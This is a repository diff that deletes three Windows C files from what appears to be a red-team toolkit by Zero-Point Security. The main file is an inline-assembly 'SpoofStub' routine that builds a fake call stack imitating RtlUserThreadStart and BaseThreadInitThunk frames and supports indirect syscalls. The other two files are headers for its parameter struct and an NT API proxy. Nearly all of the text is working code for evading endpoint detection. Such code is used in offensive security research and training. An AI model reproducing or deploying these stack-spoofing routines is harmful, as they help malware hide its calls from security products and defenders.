MEMORY_REGION hooks;
MEMORY_REGION dll;
} MEMORY_LAYOUT;
-122
View File
@@ -1,122 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
void * __attribute__((naked)) SpoofStub()
{
__asm__ __volatile__ (
".intel_syntax noprefix;"
"pop rax;" // Real return address in rax
"mov r10, rdi;" // Store OG rdi in r10
"mov r11, rsi;" // Store OG rsi in r11
"mov rdi, [rsp + 32];" // Storing struct in rdi
"mov rsi, [rsp + 40];" // Storing function to call
// Storing our original registers
"mov [rdi + 24], r10;" // Storing OG rdi into param
"mov [rdi + 88], r11;" // Storing OG rsi into param
"mov [rdi + 96], r12;" // Storing OG r12 into param
"mov [rdi + 104], r13;" // Storing OG r13 into param
"mov [rdi + 112], r14;" // Storing OG r14 into param
"mov [rdi + 120], r15;" // Storing OG r15 into param
"mov r12, rax;" // OG code used r12 for ret addr
// Prepping to move stack args
"xor r11, r11;" // r11 will hold the # of args that have been pushed
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
"add r14, 8;"
"add r14, [rdi + 56];" // stack size of RtlUserStartThread
"add r14, [rdi + 48];" // stack size of BaseInitThreadThunk
"add r14, [rdi + 32];" // stack size of our gadget frame
"sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time.
"mov r10, rsp;"
"add r10, 0x30;" // offset of stack arg added to rsp
"looping:;"
"xor r15, r15;" // r15 will hold the offset + rsp base
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
"je finish;"
// Getting location to move the stack arg to
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
"mov r15, rsp;" // get current stack base
"sub r15, r14;" // subtract offset
// Procuring the stack arg
"add r10, 8;"
"push qword ptr [r10];"
"pop qword ptr [r15];"
// Increment the counter and loop back in case we need more args
"add r11, 1;"
"jmp looping;"
"finish:;"
"sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack
"push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart
"sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame
"mov r11, [rdi + 64];"
"mov [rsp], r11;"
"sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame
"mov r11, [rdi + 40];"
"mov [rsp], r11;"
"sub rsp, [rdi + 48];" // Gadget frame
"mov r11, [rdi + 80];"
"mov [rsp], r11;"
// Adjusting the param struct for the fixup
"mov r11, rsi;" // Copying function to call into r11
"mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member
"mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member
"lea rbx, [rip + fixup];" // Fixup address is moved into rbx
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
// For indirect syscall use. If you want to use it, make sure to set ssn
// in param struct first.Otherwise, this is ignored by the callee.
"mov r10, rcx;"
"mov rax, [rdi + 72];"
"jmp r11;"
"fixup:;"
"mov rcx, rbx;"
"add rsp, 0x200;" // Remove our large frame
"add rsp, [rbx + 48];" // Adjust back for our gadget frame
"add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame
"add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame
"mov rbx, [rcx + 16];" // Restoring OG RBX
"mov rdi, [rcx + 24];" // Restoring OG rdi
"mov rsi, [rcx + 88];" // Restoring OG rsi
"mov r12, [rcx + 96];" // Restoring OG r12
"mov r13, [rcx + 104];" // Restoring OG r13
"mov r14, [rcx + 112];" // Restoring OG r14
"mov r15, [rcx + 120];" // Restoring OG r15
"push rax;"
"xor rax, rax;"
"pop rax;"
"jmp qword ptr [rcx + 8];"
".att_syntax prefix"
);
}
-50
View File
@@ -1,50 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
typedef struct _DRAUGR_PARAMETERS {
PVOID Fixup; // 0
PVOID OriginalReturnAddress; // 8
PVOID Rbx; // 16
PVOID Rdi; // 24
PVOID BaseThreadInitThunkStackSize; // 32
PVOID BaseThreadInitThunkReturnAddress; // 40
PVOID TrampolineStackSize; // 48
PVOID RtlUserThreadStartStackSize; // 56
PVOID RtlUserThreadStartReturnAddress; // 64
PVOID Ssn; // 72
PVOID Trampoline; // 80
PVOID Rsi; // 88
PVOID R12; // 96
PVOID R13; // 104
PVOID R14; // 112
PVOID R15; // 120
} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS;
typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
-41
View File
@@ -1,41 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
typedef struct {
ULONG_PTR functionPtr;
ULONG_PTR argument1;
ULONG_PTR argument2;
ULONG_PTR argument3;
ULONG_PTR argument4;
ULONG_PTR argument5;
ULONG_PTR argument6;
} NTARGS;
VOID ProxyNtApi(NTARGS * args);